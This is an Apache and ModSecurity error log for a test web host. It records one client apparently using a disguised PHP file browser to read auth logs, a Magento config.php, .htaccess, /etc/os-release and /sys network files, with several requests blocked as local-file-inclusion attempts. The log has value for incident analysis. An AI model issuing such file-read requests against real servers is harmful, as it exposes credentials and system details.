[Thu Mar 26 05:06:32.013845 2026] [:error] [pid 2946678] [client 74.7.241.26:54324] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/auth.log" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/auth.log found within ARGS:filesrc: /var/log/auth.log.2.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSwyFj7UV7CTEiyWh6H7AAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:06:32.014358 2026] [:error] [pid 2946678] [client 74.7.241.26:54324] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSwyFj7UV7CTEiyWh6H7AAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:06:32.014481 2026] [:error] [pid 2946678] [client 74.7.241.26:54324] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSwyFj7UV7CTEiyWh6H7AAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:06:32.587859 2026] [:error] [pid 2946678] [client 74.7.241.26:54324] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/auth.log" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/auth.log found within ARGS:filesrc: /var/log/auth.log.3.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSwyFj7UV7CTEiyWh6H7QAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:06:32.588350 2026] [:error] [pid 2946678] [client 74.7.241.26:54324] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSwyFj7UV7CTEiyWh6H7QAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:06:32.588495 2026] [:error] [pid 2946678] [client 74.7.241.26:54324] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSwyFj7UV7CTEiyWh6H7QAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:06:33.084896 2026] [:error] [pid 2946678] [client 74.7.241.26:54324] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/auth.log" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/auth.log found within ARGS:filesrc: /var/log/auth.log.4.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSwyVj7UV7CTEiyWh6H7gAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:06:33.085393 2026] [:error] [pid 2946678] [client 74.7.241.26:54324] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSwyVj7UV7CTEiyWh6H7gAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:06:33.085534 2026] [:error] [pid 2946678] [client 74.7.241.26:54324] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSwyVj7UV7CTEiyWh6H7gAAAAY"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:06:39.178159 2026] [php:warn] [pid 2946678] [client 74.7.241.26:54324] PHP Warning: file_get_contents(/var/run/crond.reboot): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 05:19:33.884414 2026] [:error] [pid 2976804] [client 74.7.241.26:38652] [client 74.7.241.26] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:filesrc: /var/www/www.indacotrentino.com/www/var/composer_home/.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSz1YQGW6kFkJ4pggK2MgAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/var/composer_home
[Thu Mar 26 05:19:33.885294 2026] [:error] [pid 2976804] [client 74.7.241.26:38652] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSz1YQGW6kFkJ4pggK2MgAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/var/composer_home
[Thu Mar 26 05:19:33.885499 2026] [:error] [pid 2976804] [client 74.7.241.26:38652] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSz1YQGW6kFkJ4pggK2MgAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/var/composer_home
[Thu Mar 26 05:20:06.718848 2026] [:error] [pid 2976804] [client 74.7.241.26:38652] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "/config.php" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: /config.php found within ARGS:filesrc: /var/www/magento.test.indacotrentino.com/www/app/etc/config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSz9oQGW6kFkJ4pggK2cAAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/app/etc
[Thu Mar 26 05:20:06.719726 2026] [:error] [pid 2976804] [client 74.7.241.26:38652] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSz9oQGW6kFkJ4pggK2cAAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/app/etc
[Thu Mar 26 05:20:06.719962 2026] [:error] [pid 2976804] [client 74.7.241.26:38652] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSz9oQGW6kFkJ4pggK2cAAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/app/etc
[Thu Mar 26 05:20:23.615151 2026] [:error] [pid 2976804] [client 74.7.241.26:38652] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "etc/os-release" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/os-release found within ARGS:filesrc: /etc/os-release"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acS0B4QGW6kFkJ4pggK2kAAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=//etc
[Thu Mar 26 05:20:23.615653 2026] [:error] [pid 2976804] [client 74.7.241.26:38652] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acS0B4QGW6kFkJ4pggK2kAAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=//etc
[Thu Mar 26 05:20:23.615792 2026] [:error] [pid 2976804] [client 74.7.241.26:38652] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acS0B4QGW6kFkJ4pggK2kAAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=//etc
[Thu Mar 26 05:20:25.669601 2026] [php:warn] [pid 2976374] [client 74.7.241.26:44938] PHP Warning: scandir(//var/agentx): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=//var
[Thu Mar 26 05:20:25.669625 2026] [php:warn] [pid 2976374] [client 74.7.241.26:44938] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=//var
[Thu Mar 26 05:20:25.669632 2026] [php:warn] [pid 2976374] [client 74.7.241.26:44938] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=//var
[Thu Mar 26 05:20:25.669647 2026] [php:warn] [pid 2976374] [client 74.7.241.26:44938] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=//var
[Thu Mar 26 05:20:38.816748 2026] [php:notice] [pid 2976374] [client 74.7.241.26:44938] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo
[Thu Mar 26 05:20:40.420300 2026] [php:notice] [pid 2976374] [client 74.7.241.26:44938] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo
[Thu Mar 26 05:20:41.550195 2026] [php:notice] [pid 2976374] [client 74.7.241.26:44938] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=22 Invalid argument in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo
[Thu Mar 26 05:20:44.743425 2026] [php:notice] [pid 2976374] [client 74.7.241.26:44938] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo
[Thu Mar 26 05:20:46.304298 2026] [php:notice] [pid 2976374] [client 74.7.241.26:44938] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=22 Invalid argument in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo
[Thu Mar 26 05:20:52.164195 2026] [php:notice] [pid 2976374] [client 74.7.241.26:44938] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160
[Thu Mar 26 05:20:52.647334 2026] [php:notice] [pid 2976374] [client 74.7.241.26:44938] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160
[Thu Mar 26 05:20:58.921019 2026] [php:notice] [pid 2976374] [client 74.7.241.26:44938] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160
[Thu Mar 26 05:21:14.749526 2026] [php:notice] [pid 2976374] [client 74.7.241.26:44938] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=22 Invalid argument in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo/subsystem/lo
[Thu Mar 26 05:21:26.212595 2026] [php:notice] [pid 2977178] [client 74.7.241.26:33530] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo/subsystem/lo
[Thu Mar 26 05:21:28.392743 2026] [php:notice] [pid 2977178] [client 74.7.241.26:33530] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo/subsystem/lo
[Thu Mar 26 05:21:30.488564 2026] [php:notice] [pid 2977178] [client 74.7.241.26:33530] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=22 Invalid argument in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo/subsystem/lo
[Thu Mar 26 05:21:36.303164 2026] [php:notice] [pid 2977178] [client 74.7.241.26:33530] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo/subsystem/lo
[Thu Mar 26 05:21:40.492778 2026] [php:warn] [pid 2977178] [client 74.7.241.26:33530] PHP Warning: file_get_contents(//sys/class/net/ens160/device/rom): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device
[Thu Mar 26 05:21:43.815672 2026] [php:warn] [pid 2977178] [client 74.7.241.26:33530] PHP Warning: file_get_contents(//sys/class/net/ens160/device/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device
[Thu Mar 26 05:21:49.335298 2026] [php:warn] [pid 2977178] [client 74.7.241.26:33530] PHP Warning: file_get_contents(//sys/class/net/ens160/device/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device
[Thu Mar 26 05:21:54.569878 2026] [php:warn] [pid 2977178] [client 74.7.241.26:33530] PHP Warning: file_get_contents(//sys/class/net/ens160/device/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device
[Thu Mar 26 05:21:57.228772 2026] [php:warn] [pid 2977178] [client 74.7.241.26:33530] PHP Warning: file_get_contents(//sys/class/net/ens160/device/resource3): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device
[Thu Mar 26 05:21:57.824766 2026] [php:warn] [pid 2977178] [client 74.7.241.26:33530] PHP Warning: file_get_contents(//sys/class/net/ens160/device/resource0): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device
[Thu Mar 26 05:21:58.290154 2026] [php:warn] [pid 2977178] [client 74.7.241.26:33530] PHP Warning: file_get_contents(//sys/class/net/ens160/device/resource1): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device
[Thu Mar 26 05:21:58.897456 2026] [php:warn] [pid 2977178] [client 74.7.241.26:33530] PHP Warning: file_get_contents(//sys/class/net/ens160/device/resource2): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device
[Thu Mar 26 05:21:59.375797 2026] [php:notice] [pid 2977178] [client 74.7.241.26:33530] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/power
[Thu Mar 26 05:22:12.321803 2026] [php:notice] [pid 2977178] [client 74.7.241.26:33530] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo/subsystem/lo/power
[Thu Mar 26 05:22:21.977089 2026] [php:notice] [pid 2976374] [client 74.7.241.26:56108] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=2 No such file or directory in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo/subsystem/lo/queues/tx-0
[Thu Mar 26 05:22:23.537978 2026] [php:notice] [pid 2976374] [client 74.7.241.26:56108] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=2 No such file or directory in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/lo/subsystem/lo/queues/tx-0
[Thu Mar 26 05:22:31.980764 2026] [php:notice] [pid 2976374] [client 74.7.241.26:56108] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160
[Thu Mar 26 05:22:34.081853 2026] [php:notice] [pid 2976374] [client 74.7.241.26:56108] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160
[Thu Mar 26 05:22:34.645536 2026] [php:notice] [pid 2976374] [client 74.7.241.26:56108] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160
[Thu Mar 26 05:22:46.870294 2026] [php:notice] [pid 2976374] [client 74.7.241.26:56108] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/power
[Thu Mar 26 05:22:54.200523 2026] [php:notice] [pid 2976374] [client 74.7.241.26:56108] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=22 Invalid argument in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/subsystem/lo
[Thu Mar 26 05:22:56.862621 2026] [php:warn] [pid 2976374] [client 74.7.241.26:56108] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/resource2): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device
[Thu Mar 26 05:22:57.340215 2026] [php:warn] [pid 2976374] [client 74.7.241.26:56108] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/resource3): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device
[Thu Mar 26 05:22:57.857191 2026] [php:warn] [pid 2976374] [client 74.7.241.26:56108] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/resource1): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device
[Thu Mar 26 05:22:58.384327 2026] [php:warn] [pid 2976374] [client 74.7.241.26:56108] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/resource0): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device
[Thu Mar 26 05:23:05.770055 2026] [php:warn] [pid 2976374] [client 74.7.241.26:56108] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device
[Thu Mar 26 05:23:08.030261 2026] [php:warn] [pid 2976804] [client 74.7.241.26:47242] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/rom): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device
[Thu Mar 26 05:23:08.517008 2026] [php:warn] [pid 2976804] [client 74.7.241.26:47242] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device
[Thu Mar 26 05:23:11.801428 2026] [php:warn] [pid 2976804] [client 74.7.241.26:47242] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device
[Thu Mar 26 05:24:00.871963 2026] [php:warn] [pid 2976804] [client 74.7.241.26:47242] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/subsystem/rescan): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/subsystem
